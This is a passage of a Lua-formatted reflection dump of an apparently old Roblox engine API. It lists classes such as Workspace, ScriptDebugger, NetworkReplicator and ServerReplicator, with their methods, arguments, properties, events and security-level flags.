 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;SpecialKey&quot;
 }
 },
 Name = &quot;AddSpecialKey&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;OpenBrowserWindow&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;dialog&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveCenterDialog&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;title&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;image&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;duration&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;callback&quot;,
 Type = &quot;Function&quot;
 }
 },
 Name = &quot;SendNotification&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x1&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y1&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;x2&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y2&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetGlobalGuiInset&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 RightAngleRampPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;RightAngleRampPart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 StarterGear = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;StarterGear&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 App = {
 Inherits = &quot;DataModel&quot;,
 Events = {
 },
 ClassName = &quot;App&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Id&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;newId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetAppId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;scriptId&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;ConnectToGame&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 {
 Name = &quot;placeName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;actionName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;templatePlaceID&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CreatePlace&quot;
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;page&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;GetCreations&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;UnloadGame&quot;
 }
 }
 },
 SpawnerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SpawnerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PluginMouse = {
 Inherits = &quot;Mouse&quot;,
 Events = {
 },
 ClassName = &quot;PluginMouse&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 StarterGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 Events = {
 },
 ClassName = &quot;StarterGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;BackpackGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;HealthGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;PlayerListGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;ResetPlayerGuiOnDeath&quot;,
 hidden = true
 },
 {
 Name = &quot;ShowDevelopmentGui&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 Sparkles = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sparkles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Color3&quot;,
 Name = &quot;Color&quot;,
 hidden = true
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SparkleColor&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Methods = {
 }
 },
 SoundService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SoundService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AmbientReverb&quot;,
 Type = &quot;ReverbType&quot;
 },
 {
 Name = &quot;DistanceFactor&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DopplerScale&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RolloffScale&quot;,
 Type = &quot;float&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;sound&quot;,
 Type = &quot;SoundType&quot;
 }
 },
 Name = &quot;PlayStockSound&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Chat = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Chatted&quot;,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;color&quot;,
 Type = &quot;ChatColor&quot;
 }
 }
 }
 },
 ClassName = &quot;Chat&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;partOrCharacter&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;ChatColor&quot;,
 Name = &quot;color&quot;,
 DefaultValue = &quot;Blue&quot;
 }
 },
 Name = &quot;Chat&quot;
 }
 }
 },
 PluginManager = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PluginManager&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;CreatePlugin&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Selection = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;SelectionChanged&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Selection&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;Get&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;selection&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;Set&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Workspace = {
 Inherits = &quot;RootInstance&quot;,
 Events = {
 },
 ClassName = &quot;Workspace&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentCamera&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;DistributedGameTime&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;FilteringEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Terrain&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;objects&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;BreakJoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindPartOnRay&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindPartOnRayWithIgnoreList&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;FindPartsInRegion3&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;FindPartsInRegion3WithIgnoreList&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetNumAwakeParts&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetPhysicsThrottling&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRealPhysicsFPS&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;InsertContent&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;IsRegion3Empty&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;IsRegion3EmptyWithIgnoreList&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;objects&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;MakeJoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetPhysicsThrottleEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ZoomToExtents&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;findPartOnRay&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;findPartsInRegion3&quot;,
 deprecated = true
 }
 }
 },
 CornerWedgePart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;CornerWedgePart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FormFactorPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;FormFactorPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;FormFactor&quot;,
 Type = &quot;FormFactor&quot;
 },
 {
 Type = &quot;FormFactor&quot;,
 Name = &quot;formFactor&quot;,
 hidden = true
 }
 },
 Methods = {
 }
 },
 TrussPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;TrussPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Style&quot;,
 Type = &quot;Style&quot;
 }
 },
 Methods = {
 }
 },
 GenericSettings = {
 Inherits = &quot;ServiceProvider&quot;,
 Events = {
 },
 ClassName = &quot;GenericSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ChatFilter = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ChatFilter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 GuiItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuiItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GamePassService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GamePassService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;playerHasPassUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPlayerHasPassUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;gamePassId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PlayerHasPass&quot;
 }
 }
 },
 NetworkReplicator = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;lostConnection&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;Disconnection&quot;,
 LocalUserSecurity = true
 }
 },
 ClassName = &quot;NetworkReplicator&quot;,
 Callbacks = {
 },
 Properties = {
 {
 LocalUserSecurity = true,
 Type = &quot;string&quot;,
 Name = &quot;MachineAddress&quot;,
 readonly = true
 },
 {
 LocalUserSecurity = true,
 Type = &quot;int&quot;,
 Name = &quot;Port&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CloseConnection&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;DisableProcessPackets&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;EnableProcessPackets&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetPlayer&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;verbosityLevel&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetRakStatsString&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RequestCharacter&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;SendMarker&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetPropSyncExpiration&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Animation = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Animation&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AnimationId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 IntConstrainedValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;IntConstrainedValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;ConstrainedValue&quot;,
 hidden = true
 },
 {
 Name = &quot;MaxValue&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;MinValue&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Value&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 ScriptDebugger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;BreakpointAdded&quot;,
 Arguments = {
 {
 Name = &quot;breakpoint&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;BreakpointRemoved&quot;,
 Arguments = {
 {
 Name = &quot;breakpoint&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;EncounteredBreak&quot;,
 Arguments = {
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;Resuming&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WatchAdded&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;WatchRemoved&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ScriptDebugger&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;CurrentLine&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsDebugging&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPaused&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Script&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;expression&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddWatch&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetBreakpoints&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 },
 Name = &quot;GetGlobals&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetLocals&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetStack&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetUpvalues&quot;
 },
 {
 ReturnType = &quot;Variant&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetWatchValue&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetWatches&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Resume&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetBreakpoint&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 }
 },
 Name = &quot;SetGlobal&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;SetLocal&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;SetUpvalue&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepIn&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepOut&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepOver&quot;
 }
 }
 },
 RunService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;step&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;Heartbeat&quot;
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;time&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;step&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;Stepped&quot;
 }
 },
 ClassName = &quot;RunService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pause&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Reset&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Run&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Stop&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Hint = {
 Inherits = &quot;Message&quot;,
 Events = {
 },
 ClassName = &quot;Hint&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 CoreGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 notCreatable = true,
 Events = {
 },
 ClassName = &quot;CoreGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Version&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 TouchTransmitter = {
 Inherits = &quot;Instance&quot;,
 notCreatable = true,
 Events = {
 },
 ClassName = &quot;TouchTransmitter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SelectionPartLasso = {
 Inherits = &quot;SelectionLasso&quot;,
 Events = {
 },
 ClassName = &quot;SelectionPartLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Part&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataItem&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Browsable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Deprecated&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsBackend&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;summary&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataFunctions = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataFunctions&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Fire = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Fire&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Heat&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;SecondaryColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;float&quot;,
 Name = &quot;size&quot;
 }
 },
 Methods = {
 }
 },
 Frame = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;Frame&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Style&quot;,
 Type = &quot;FrameStyle&quot;
 }
 },
 Methods = {
 }
 },
 Plugin = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Deactivation&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Plugin&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;exclusiveMouse&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;Activate&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;CreateToolbar&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetMouse&quot;,
 LocalUserSecurity = true
 }
 }
 },
 BodyThrust = {
 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyThrust&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;force&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 FlagStandService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FlagStandService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Status = {
 Inherits = &quot;Model&quot;,
 Events = {
 },
 ClassName = &quot;Status&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 RotateV = {
 Inherits = &quot;DynamicRotate&quot;,
 Events = {
 },
 ClassName = &quot;RotateV&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ServerReplicator = {
 Inherits = &quot;NetworkReplicator&quot;,
 Events = {
 {
 Name = &quot;TicketProcessed&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;isAuthenticated&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;protocolVersion&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;ServerReplicator&quot;,
 Callbacks = {
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;deletingItem&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;DeleteFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;firingItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;event&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;EventFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;newItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;NewFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;changingItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 }
 },
 Name = &quot;PropertyFilter&quot;,
 RobloxPlaceSecurity = true
 }
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PreventTerrainChanges&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
